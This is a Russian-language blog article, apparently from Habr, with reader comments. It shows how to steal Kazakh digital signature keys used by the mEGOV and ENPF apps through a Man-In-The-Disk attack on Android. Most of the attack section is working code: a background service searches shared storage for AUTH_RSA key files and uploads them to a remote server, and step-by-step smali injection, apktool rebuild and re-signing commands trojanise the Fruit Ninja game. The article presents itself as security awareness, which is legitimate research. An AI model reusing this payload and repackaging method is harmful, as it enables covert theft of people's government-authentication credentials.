Воруем ЭЦП, используя Man-In-The-Disk

Казахстанские мобильные приложения mEGOV и ЕНПФ используют ЭЦП, как один из способов авторизации. Чтобы авторизоваться этим способом, вам необходимо перенести файл с ЭЦП на телефон. Такой метод авторизации уязвим перед атакой Man-In-The-Disk (о ней в подробностях ниже). Чтобы стать жертвой атаки, вам достаточно установить любое ваше любимое приложение, которые было скрытно модифицировано злоумышленником. Я наглядно покажу, как это может быть сделано. Для начала выясним, как такие приложения могут попасть к пользователю.


Как вредоносные приложения попадают на телефон


Локальные маркеты приложений Китая, Ирана и т.д


Примеры: cafebazaar.ir, android.myapp.com, apkplz.net


Данные площадки появились вследствии цензуры и блокировки Google сервисов и/или серверов официальных приложений. Обычно они содержат местные аналоги популярных приложений и их модификации. Такие модификации (как этот иранский телеграм) содержат якобы новые, крутые фичи. В чем опасность таких приложений? Вы никогда не знаете, что они на самом деле делают. К тому же, правительства некоторых стран не упускают возможность и публикуют свои модификации, с инструментами для слежения за пользователем. Приложения с правительственной слежкой являются вредоносными по определению. Однажды, я изучал вредоносное приложение (результат Virustotal, образец тут, пароль:infected), которое сканировало телефон на наличие телеграм-клонов:


  "com.hanista.mobogram"
  "org.ir.talaeii"
  "ir.hotgram.mobile.android"
  "ir.avageram.com"
  "org.thunderdog.challegram"
  "ir.persianfox.messenger"
  "com.telegram.hame.mohamad"
  "com.luxturtelegram.black"
  "com.talla.tgr"
  "com.mehrdad.blacktelegram"

Данный список говорит о реальной актуальности и популярности таких приложений. Исследованние данного вредоноса, привело меня к статье, в которой рассказывается о клоне телеграма, которое распостранялось через маркет Cafebazaar, Иранским правительством. Цитата оттуда:


This looks to be developed to the specifications of the Iranian government enabling them to track every bit and byte put forward by users of the app.

Сколько клонов телеграма вы видите?: (Источник)


image


Обычным пользователям защититься от этого практически невозможно, так как другого выбора нет — официальные источники усиленно блокируются, а свои продвигаются. Исследователи и антивирусные компании со всего мира, после выявления зараженных приложений, оперативно сообщают об этом в Google и они удаляются из Play Market, что очевидно, не распостраняется на стороннии маркеты приложений. Так же на них не распостраняется политика Google, относительно допуска размещаемых приложений.


Некоторые из маркетов очень популярны, как например Tencent My App, с 260 млн. пользователей в месяц (Источник)


image


Локальные приложения, используемые в рамках одного региона/страны, часто используют одни и те же SDK (набор библиотек) для рекламного трекинга, интеграции соц. сетей и т.д… Если одна и та же библиотека используется в нескольких приложениях, то с большой вероятностью, некоторые из этих приложений, могут быть установлены у одного пользователя. Такие библиотеки могут использовать возможности разных приложений, в которые они встроены, для кражи данных пользователя, в обход выданных разрешений. Например, одно приложение имеет доступ к получению IMEI, но не имеет доступа к интернету. Встроенная библиотека знает об этом и поэтому считывает IMEI и сохраняет его на SD карте в скрытой папке. Та же библиотека встроенная в другое приложение, у которого есть доступ в интернет, но нету доступа к IMEI, считывает его со скрытой папки и отправляет на свой сервер. Данный способ использовался двумя китайскими компаниями Baidu и Salmonads. Подробнее об этом можете прочитать тут.


Фишинг


Классический фишинг, является основным инструментом международных группировок и спецслужб разных стран. Как это часто бывает, берется обычное приложение мессенджер, в него добавляется функционал для слежения, а потом оно массово рассылается, с пометкой "Посмотри, какое крутое приложение для общения". Доставка пользователям может осуществляется через соц. сети, спам Whatsapp/Telegram, встроенная реклама на сайтах и т.д..


image


Источник, стр 19.


Фишинговые ссылки, в виде постов в фейсбуке:


image


Источник, стр. 22


Всплывающее окно на одном известном сайте


image


Источник


Телеграм боты/группы


Пример: @apkdl_bot, t.me/fun_android


Существуют телеграм боты, для скачивания apk файлов. Вместо легитимного приложения, вам могут подсунуть вредоносное. Либо заразить запрашиваемое вами приложение "на лету". Работает это так — вы вводите команду боту/в группу, что хотите скачать "Instagram", скрипт на другой стороне скачивает его с Google Play, распаковывает, добавляет вредоносный код, запаковывает обратно и возвращает вам. Как это делается автоматически, я попытаюсь показать на примере в ближайшем будущем.


Сторонние сайты-посредники


Пример: apkpure.com, apkmirror.com, apps.evozi.com/apk-downloader/


Существует огромное количество неофициальных сайтов, для скачивания андроид приложений. Некоторые из них предоставляют возможность загрузить свое приложение, которое может быть вредоносным. Пример загрузки на этом сайте:


image


Один из примеров малвари, которая распостранялась таким образом (Источник):


image


Примерную статистику, для неофициальных источников, можно найти в Android Security Report 2018 — 1.6 миллиардов заблокированных Google Play Protect установок не из Google Play. Всего установок было гораздо больше.
Некоторые даже пишут статьи, как это хорошо, пользоваться сторонними маркетами.
Отдельный целый мир составляют сайты, которые распостраняют приложения без рекламы, взломанные платные приложения бесплатно, приложения с дополнительным функционалом:


image


image


Google play


Официальный источник имеет защиту от подозрительных приложений, под названием Google Play Protect, которая использует машинное обучение для определения степени вредоносности. Но такая защита не в состоянии точно понять, какое приложение вредоносное, а какое нет, так как для этого требуется полная ручная проверка. Чем отличается шпионское приложение, которое мониторит все ваши передвижения, от приложения для бега? Исследователи постоянно находят сотнями зараженные приложения, опубликованные в Google Play.


Обычно вредоносное приложение называет себя google play services или схожим образом, и ставит похожую иконку. Это вводит в заблуждение пользователей. Почему гугл плей не проверяет иконку на схожесть со своими официальными приложениями — непонятно. Однажды в телеграме, я поставил аватарку с бумажным самолетиком и меня заблокировали. Еще один способ, используемый вредоносными приложениями, это замена букв ("L" на "I", "g" на "q"), для создания, похожего на официальное приложение, имени:


image


Источник.


Другие способы


  1. В сервисах ремонта телефонов


  2. При пересечении границы


  3. Подключение к незнакомому компьютеру по USB, с включенным режимом отладки.


  4. Получение злоумышленником доступа к вашему гугл аккаунту, и установки приложения на телефон через Google Play.


  5. Предустановленные приложения


  6. По решению суда и без. Полицией или спецслужбами


  7. Watering hole attack


  8. Вы пришли в гости к другу, а его телевизор заразил ваш телефон



The particular version appearing on Fire TV devices installs itself as an app called “Test” with the package name “com.google.time.timer”. Once it infects an Android device, it begins to use the device’s resources to mine cryptocurrencies and attempts to spread itself to other Android devices on the same network.

Как злоумышленники заражают андроид приложения


Теперь мы поняли, как вредоносное приложение может попасть к вам на телефон. Далее будет продемонстировано, как злоумышленник может модифицировать любое андроид приложение. Будет использован пример с внедрением кода в популярную игру Fruit Ninja. Код сканирует память телефона, ищет файл с ЭЦП и отсылает на сервер (root естественно не требуется).


Что такое Man-In-The-Disk?


Общественность обратила внимание на данный вектор атаки, после этой статьи. Советую, для начала, ее прочитать.


Для тех кто прочитал, добавлю от себя — модификация общих файлов других приложений, так же может привести к эксплуатации уязвимостей в библиотеках, которые используют эти файлы


Кто не прочитал, расскажу вкратце. Для начала, определимся с понятиями. В андроиде, память для приложений, разделяется на Internal Storage и External Storage. Internal storage — это внутренняя память приложения, доступная только ему и никому больше. Абсолютно каждому приложению на телефоне соответствует отдельный пользователь и отдельная папка с правами только для этого пользователя. Это отличный защитный механизм. External storage — основная память телефона, доступная всем приложениям (сюда же относится SD карта). Зачем она нужна? Возьмем приложение фоторедактор. После редактирования, вы должны сохранить фото, чтобы оно было доступно из галереи. Естественно, что если вы положите его в internal storage, то никому, кроме вашего приложения оно доступно не будет. Или бразуер, который скачивает все файлы в общую папку Downloads.


У каждого андроид приложения есть свой набор разрешений, которые оно запрашивает. Но с ними все не так хорошо. Среди них есть такие, на которые люди охотно закрывают глаза и не относятся серъезно. Среди них — READ_EXTERNAL_STORAGE. Оно позволяет приложению получать доступ к основной памяти телефона, а значит и ко всем данным других приложений. Никто ведь не удивится, если приложение "блокнот" запросит данное разрешение. Ему может быть необходимо хранить там настройки и кэш. Манипуляция данными других приложений в external storage и есть атака Man-In-The-Disk. Другое, почти дефолтное, разрешение — INTERNET. Как видно из названия, оно позволяет приложению иметь доступ в сеть. Самое печальное, что пользователю не показывается специальное окно с просьбой дать это разрешение. Вы просто прописываете его в своем приложении и вам его дают.


Я скачал топ-15 казахстанских приложений и написал скрипт, который выводит статистику запрашиваемых разрешений. Как видите, READ_EXTERNAL_STORAGE, WRITE_EXTERNAL_STORAGE и INTERNET очень популярны. Значит злоумышленники могут менее болезнено встраивать код, которые ворует ЭЦП, в большинство приложений.


Список протестированных приложений
2-GIS, AliExpress, Chocofood, Chrome, InDriver, Instagram, Kaspi, Kolesa, Krisha, Telegram, VK, WhatsApp, Yandex Music, Yandex Taxi
,Zakon KZ

image


Eсли поставить whatsapp на рутованый телефон, то все ваши переписки хранятся в открытом виде. Видимо whatsapp не считает нужным даже использовать шифрование, на таком "порченом" телефоне. Так же, в external storage, whatsapp хранит SSLSessionCache (File-based cache of established SSL sessions). В будущем, попытаюсь исследовать, как можно использовать эти файлы, полученные с чужого телефона.


Телеграм и Инстаграм хранят в общей памяти закешированные изображения. Практически все просматриваемые вами фото, и те которые вы пересылаете друг другу, доступны любому приложению у вас на телефоне.


image


Приложения mEGOV и ENPF, требуют, чтобы ЭЦП находилась в External Storage:


image


image


Google в курсе проблемы и собирается изменить READ_EXTERNAL_STORAGE в Android Q. Цитата:


In order to access any other file that another app has created, including files in a "downloads" directory, your app must use the Storage Access Framework, which allows the user to select a specific file.

Создаем payload


Перейдем к основному функционалу сканера. Он будет состоять из трех основных классов: StageAttack, MaliciousService, MaliciousTaskManager.


image


StageAttack — состоит из одного статического метода, который начинает нашу атаку. Мы специально создаем переходный статический метод, для удобства внедрения в готовый класс.


public class StageAttack {

    public static void pwn(Context ctx) {
        Intent intent = new Intent(ctx,  MaliciousService.class);
        ctx.startService(intent);
    }
}

MaliciousService — сервис, который рекурсивно осуществляет поиск по всему external storage.


private String pwn2(File dir) {

    String path = null;
    File[] list = dir.listFiles();

    for (File f : list) {

        if (f.isDirectory()) {
        path = pwn2(f);
        if (path != null)
            return path;
        } else {
        path = f.getAbsolutePath();
        if (path.contains("AUTH_RSA")) {
            Log.d(TAG, "AUTH_RSA found here - " + path);
            return path;
        }
        }
    }
    return null;
}

Если ЭЦП не найдено, мы будем повторять поиск каждые 5 секунд, пока не найдем. Интервал можно использовать любой. Взяв слишком маленький интервал, наш сервис рискует быть остановленным системой. Чем выше версия андроида, тем суровее политика в отношении работы фоновых процессов. Foreground service мы тоже не можем использовать, так как для этого постоянно должно висеть уведомление. Не являясь андроид разработчиком, я потратил кучу времени, чтобы найти способ запланировать задачу, которая будет выполняться точно в срок. Это не так просто, как кажется. В андроиде есть несколько рекомендуемых для этого способов (JobService, WorkManager, setRepeating() AlarmManager'а). В документации неочевидно указано, что интервал задачи должен быть не менее 15 минут и время ее выполнения зависит от желания системы. Нас это не устраивает, поэтому мы используем класс AlarmManager, метод setExactAndAllowWhileIdle(). Когда задача выполниться, снова ее планируем, с таким же интервалом. Это единственный на данный момент способ известный мне, имеющий самую высокую точность.


private void scheduleMalService() {

        Context ctx = getApplicationContext();
        AlarmManager alarmMgr = (AlarmManager) ctx.getSystemService(Context.ALARM_SERVICE);
        Intent intent = new Intent(ctx, MaliciousTaskManager.class);

        final int _id = (int) System.currentTimeMillis();
        PendingIntent alarmIntent = PendingIntent.getBroadcast(ctx, _id, intent, 0);

        alarmMgr.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() 
        + 5000, alarmIntent);
    }

Если ЭЦП найдено, то мы отправляем файл на сервер:


private void sendToServer(String path) {
    File file = new File(path);
    URL url = new URL("http://xxxxxxxxxx");
    HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();
    urlConnection.setConnectTimeout(30 * 1000);

    urlConnection.setRequestMethod("POST");
    urlConnection.setDoOutput(true);
    urlConnection.setRequestProperty("Content-Type", "application/octet-stream");

    DataOutputStream request = new DataOutputStream(urlConnection.getOutputStream());
    request.write(readFileToByteArray(file));
    request.flush();
    request.close();

    int respCode = urlConnection.getResponseCode();
    Log.d(TAG, "Return status code: " + respCode);
}

Внедряем payload


Первым делом декомпилируем Fruit Ninja, с помощью apktool. Мы не декомпилируем приложение до java кода, так как после модификации, мы не сможем собрать его обратно. Нам необходимо получить именно smali классы. И внедрять наш код мы тоже будем в виде smali кода.


Что такое smali код?
Андроид приложения компилируются в байткод, который исполняется виртуальной машиной Dalvik. Сам байткод тяжело читаем, поэтому его удобочитаемая для человека форма, называется smali. smali — это аналог языка ассемблера, но для андроида.

Далее, если мы хотим, чтобы наш payload запустился при старте приложения, мы должны модифицировать входную точку. Входной точкой любого GUI приложения является класс-потомок Activity, который принимает ACTION_MAIN. Открываем папку с декомпилированным приложением, и находим его в файле AndroidManifest.xml:


<activity android:name="com.halfbrick.mortar.MortarGameLauncherActivity">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity>

Мы нашли нужный нам класс com.halfbrick.mortar.MortarGameLauncherActivity. Перед тем, как изучить его, посмотрим на жизненный цикл Activity, это нам пригодится.


image


Источник


Открываем Activity, у меня он лежит по пути base\smali_classes2\com\halfbrick\mortar\MortarGameLauncherActivity.smali. Если вы до этого не видели smali код, это не страшно, он достаточно прост для чтения и логически понятен.


.class public Lcom/halfbrick/mortar/MortarGameLauncherActivity;
// Имя класса и его package

.super Landroid/app/Activity;
//.super указывает от какого класса наследуемся. 
//Все Activity должны наследоваться от android.app.Activity.

.source "MortarGameLauncherActivity.java"
// Исходный Java файл.

.method public constructor <init>()V
/* Ключевые слова говорят сами за себя - это конструктор класса. 
Самая последняя буква, это тип возвращаемого значения.
В данном случае, V - void */

    .locals 0
/* Виртуальная машина Dalvik не использует стек, вместо этого 
используются регистры. Регистры это просто ячейки, которые
могут хранить любые типы данных. Каждая функция имеет 
свой личный набор регистров. В зависимости от инструкции, 
доступных регистров может быть 16, 256 или 64К. Регистры 
делятся на локальные регистры и регистры, для аргументов.
В локальные регистры можно класть локальные переменные. 
В регистры для аргументов, кладут входные параметры функций.
.locals 0 - означает, что в методе 0 локальных регистров. 
К локальным регистрам обращаются, как v0, v1, v2, v3, ... 
К аргументным регистрам - p0, p1, p2, p3. 
*/

    .line 28
    invoke-direct {p0}, Landroid/app/Activity;-><init>()V
/* invoke-подобные инструкции  используются для вызова функций.
invoke-direct - вызов нестатической функции, которую нельзя 
переопределить. Функции, которые нельзя переопределить в java
- private и конструкторы. Если функцию можно переопределить, 
то соответственно будет произведен поиск по таблице, содержащей
переопределенния метода.  В скобках указываются входные 
параметры функции. p0 - по умолчанию означает this в java.
init говорит о том, что здесь вызывается родительский конструктор.
*/
    return-void
// ничего не возвращаем
.end method

.method protected onStart()V
    .locals 2

    .line 33
    invoke-super {p0}, Landroid/app/Activity;->onStart()V
// Вызываем onStart() родительского класса

    .line 35
    invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->isTaskRoot()Z
/* invoke-virtual - вызов виртуального метода. Виртуальный метод может быть переопределен,
а значит не является static, private, final или конструктором. Класс MortarGameLauncherActivity
не имеет метода isTaskRoot(), а значит он вызывается в родительском классе Activity. 
Возвращаемый тип Z - boolean */

    move-result v0
/* Кладем результат функции isTaskRoot() в регистр v0. isTaskRoot() возвращает 
true, если данное Activity является первым, которое открывается при
запуске приложения */

    if-nez v0, :cond_0
/* Если v0 = true, то переходим по метке cond_0 (аналог goto). 
Если v0 = false, продолжаем выполнение 
*/
    .line 37
    invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->finish()V
// finish() закрывает Activity

    return-void
// Завершаем выполнение функции

    .line 41
    :cond_0
    new-instance v0, Landroid/content/Intent;
// Создаем объект Intent и кладем ссылку на него в регистр v0

    const-class v1, Lcom/halfbrick/mortar/MortarGameActivity;
//Кладем ссылку на класс MortarGameActivity в регистр v1. MortarGameActivity это уже другое Activity.

    invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
// вызываем конструктор класса Intent, с параметрами, которые заполнили выше

    .line 42
    invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->finish()V
// закрываем наше Activity 

    .line 43
    invoke-virtual {p0, v0}, Lcom/halfbrick/mortar/MortarGameLauncherActivity;->startActivity(Landroid/content/Intent;)V
// Открываем MortarGameActivity

    return-void
.end method

Выяснили, что MortarGameLauncherActivity запускает MortarGameActivity и закрывается. Открываем MortarGameActivity. Комментировать полностью его не будем. Нам интересно то, что происходит в методе Oncreate, так как с него начинается создание активити. Сразу после него будем вставлять наш код. Важно не нарушить порядок line, при вставке.


.method protected onCreate(Landroid/os/Bundle;)V
    .locals 9

    :try_start_0
    const-string v0, "android.os.AsyncTask"

    .line 465
    invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
    :try_end_0
    .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0

    .line 471
    :catch_0
    invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V

      <--------------------------- //вставлять будем сюда, как строку 472

    .line 473
    invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z

    .line 475
    invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent;

    ...

Теперь нам нужен smali код payload'а. Собираем в apk наш сканер и декомпилируем. Переносим наши три декомпилированных класса, которые лежат по пути smali\kz\c\signscan, в папку com/halfbrick/mortar. Меняем package name всем классам, с kz.c.signscan на com.halfbrick.mortar.


Было:


.class public Lkz/c/signscan/StageAttack;

Стало:


.class public Lcom/halfbrick/mortar/StageAttack;

В smali классе MainActivity берем строчку вызова payload'а:


invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V

И вставляем в MortarGameActivity. В итоге метод onCreate() выглядит:


...
.method protected onCreate(Landroid/os/Bundle;)V
    .locals 9

    :try_start_0
    const-string v0, "android.os.AsyncTask"

    .line 465
    invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
    :try_end_0
    .catch Ljava/lang/Throwable; {:try_start_0 .. :try_end_0} :catch_0

    .line 471
    :catch_0
    invoke-super {p0, p1}, Landroid/support/v4/app/FragmentActivity;->onCreate(Landroid/os/Bundle;)V

    .line 472
    invoke-static {p0}, Lcom/halfbrick/mortar/StageAttack;->pwn(Landroid/content/Context;)V

    .line 473
    invoke-static {}, Lcom/halfbrick/mortar/NativeGameLib;->TryLoadGameLibrary()Z

    .line 475
    invoke-virtual {p0}, Lcom/halfbrick/mortar/MortarGameActivity;->getIntent()Landroid/content/Intent;

    ...

Класс MaliciousTaskManager в payload это BroadcastReceiver, а MaliciousService это IntentService, поэтому мы должны их прописать в манифесте.


...
<receiver android:name=".MaliciousTaskManager"/>
<service android:name=".MaliciousService"/>
...

Запаковываем все обратно командой apktool b myfolder. В итоге получим apk файл. Теперь нам необходимо его подписать, чтобы андроид принял наше приложение. Для начала сгенерируем ключ, которым будем подписывать:


keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000

Подписываем apk:


jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore my_application.apk alias_name

Virustotal нам ничего не покажет, так как ничего "нелегального" мы не делаем. Мы всего-лишь пользуемся доступными разрешениями нашего приложения.


image


Видео, с демонстрацией конечной работы:




Телеграм канал

Комментарии 14

    +1
    Благодарю. Прочитал на одном дыхании. Узнал много для себя нового. Большая работа конечно стоит за этой статьей. Очень интересно. Надеюсь не последняя статья.
      +2
      Большое спасибо, рад стараться!
      0
      Еще вот мысли по этому поводу. Сейчас в Казахстане идет активная дискуссия, была вернее. О том, чтобы отменить для многих госуслуг ЭЦП, и сделать авторизацию на базе CMC.
      За ЭЦП высказываются что это более надеждный вариант. ЭЦП можно сравнить с печатью. Вот только печать мне кажется сложнее украсть, чем ключ ЭЦП. Тем более ЭЦП в 99,9% имеет стандартный пароль.

      Все таки, я бы побоялся действительно важные процессы, такие например как купля\продажа частной собственности и другие значимые услуги закреплять ЭЦП, с учетом как «относительно легко» можно украсть эту «печать».
        0
        Через меня проходили контейнеры ЭЦП юридических лиц и отделов администрации города, у всех стандартный пароль. В купе с дырявой настройкой удаленного администрирования это дает злоумышленникам фантастические возможности.
        Пока услуг не густо, данные проще найти в даркнете. Но если ЭЦП позволит закреплять куплю/продажу, наступит коллапс.
        Благо, грамотных людей в Казахстане не густо, особенно среди злоумышленников.
        +2

        Статья отличная, написана понятным языком даже для "чайника". Жаль, что подавляющее большинство пользователей смартфонов и ПК подобные статьи не читают, а ведь, именно они становятся жертвами хакеров.

          +1
          написана понятным языком даже для «чайника»

          Вот это я считаю высший пилотаж, как сказал Энштейн «You do not really understand something unless you can explain it to your grandmother.»
          0
          3. Подключение к незнакомому компьютеру по USB, с включенным режимом отладки.

          Начиная с KitKat, каждый компьютер, пытающийся установить соединение по ADB, надо авторизировать на самом девайсе. Т.е. убрали дыру.

          Ситуация с READ_EXTERNAL_STORAGE, конечно, удручающая. А все потому, что Гугель не догадался сделать разделение на «Общие файлопомойки» и «Папки программы». Некоторые подвижки в этом плане были в КК, но реализован был через запрет на доступ к карте памяти, что очень неудобно.
            0

            Вы можете подключииь телефон и оставить его без присмотра разблокированным. Злоумышленник нажмет "ОК". Либо обычный юзер, увидев непонятное окно, нажмет "ОК". Я лишь попытался собрать все вектор, хоть этот и трудновыполнимый.

              +1

              Ситуация вообще довольно печальная с этим всем.
              Еще во времена 4.x (и отчасти даже раньше) было несколько типов хранилища:


              • /data/data/<package_name> (0)
              • /sdcard/Android/data/<package_name> как External...Dirs (1)
              • /sdcard/Android/obb/<package_name> как ObbDirs (2)
              • /sdcard/ (и до 4.4 внешние носители) как внешнее хранилище (3)

              В сущности правильным поведением было хранить данные в (0), допустимым в (1) и нежелательным (кроме как для медиафайлов и всего, что необходимо выставлять пользователю) в (3).
              Но почему-то многие разработчики упорно не следуют этому и хранят кэши в /sdcard/.appname или даже /sdcard/Appname/...Cache, что отчасти и вызывает описанные уязвимости.


              В 4.4 из (3) убрали внешние карточки и флешки, переведя доступ к ним на запись с линуксового на уродливый SAF, так что разработчикам всяких галерей и файловых менеджеров пришлось добавлять прямо в приложения инструкции по разрешению доступа к карточкам памяти.


              В Q Google пытаются расширить эту модель и на /sdcard, что, пожалуй, имеет плюсы в том, что лишний мусор из /sdcard/ исчезнет, да и разруливать доступ к чувствительным файлам (не из числа фото/видео/аудио) станет проще.
              Однако часть проблем с MitD решить не удастся: для работы с любыми другими файлами (pdf, книги, специфичные форматы в т.ч. сертификаты, ЭП) приложения будут обоснованно требовать доступ к /sdcard через SAF, а значит загрузки (те же упомянутые ЭП и сертификаты) все равно останутся под риском перезаписи.


              Гораздо печальнее, что это ещё больше удаляет Android от человека, желающего действительно владеть собственным устройством.
              Потеряется:


              • Доступ без рута к ряду служебных файлов приложений (может быть полезен)
              • Отвалятся приложения с работой с файлами на системных вызовах
              • Как подмножество предыдущего отвалятся CLI-инструменты, работающие под эмулятором терминала или Termux
              • Могут появиться прецеденты хранения документов в /data/data на манер iOS, что очень больно.

              Возможно, это только мои проблемы, но в последнее время Гугл регулярно ломает те мелочи, которые важны лишь небольшим группам пользователей, в числе которых часто оказываюсь и я.

                0
                Проблема еще в том, что если еще сильнее дифференцировать разрешения, то их станет настолько много, что пользователю неудобно будет кликать огромное количество раз, после установки каждого приложения. Возможно, Google останавливает и это.
              0
              > «А далее расшифровать с помощью любого доступного скрипта в сети.»
              Что? Как вы видите, расширение у этих файлов .crypt12, они зашифрованы (говорю по памяти) AESом на ключе, лежащем как раз в Internal Storage.

              > «А если поставить whatsapp на рутованый телефон, то все ваши переписки хранятся в открытом виде. Видимо whatsapp не считает нужным даже использовать шифрование, на таком „порченом“ телефоне»
              Да, Вотсап хранит в Internal Storage простую SQLite БД. Те же Телеграм и Вайбер (о ужас) тоже так делают! Это уже классический пример бесполезности защиты от рута. Если вы рут — то (как правило) смысл защиты ноль, можно хоть в памяти все это выдернуть. Есть конечно исключения, но это и система защиты должна быть соответствующая, и совсем другие затраты по труду/времени/ресурсам.
                0
                Да, вы правы, нужен ключ и он в internal storage. Уникален, для каждого телефона. Убрал из текста.
                0
                Спасибо, интересная статья, узнал много нового.
                Я не писал для Андроид, не знаю как там устроено, поэтому прошу пояснить: ключ my-release-key.keystore выдаёт гугл как разработчику или самогенерённый?
                  0
                  Конкретно в статье — самосгенерированный. Keystore генерируется командой keytool -genkey

                Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                Самое читаемое